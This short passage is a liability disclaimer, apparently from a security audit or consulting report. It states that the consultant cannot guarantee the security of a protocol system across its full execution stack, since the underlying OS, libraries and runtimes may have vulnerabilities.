Protocol Level Systems are deployed and executed on hardware and software underlying platforms and platform dependencies (Operating System, System Libraries, Runtime Virtual Machines, linked libraries, etc.). The platform, programming languages, and other software related to the Protocol Level System may have vulnerabilities that can lead to security issues and exploits. Thus, Consultant cannot guarantee the explicit security of the Protocol system in full execution environment stack (hardware, OS, libraries, etc.)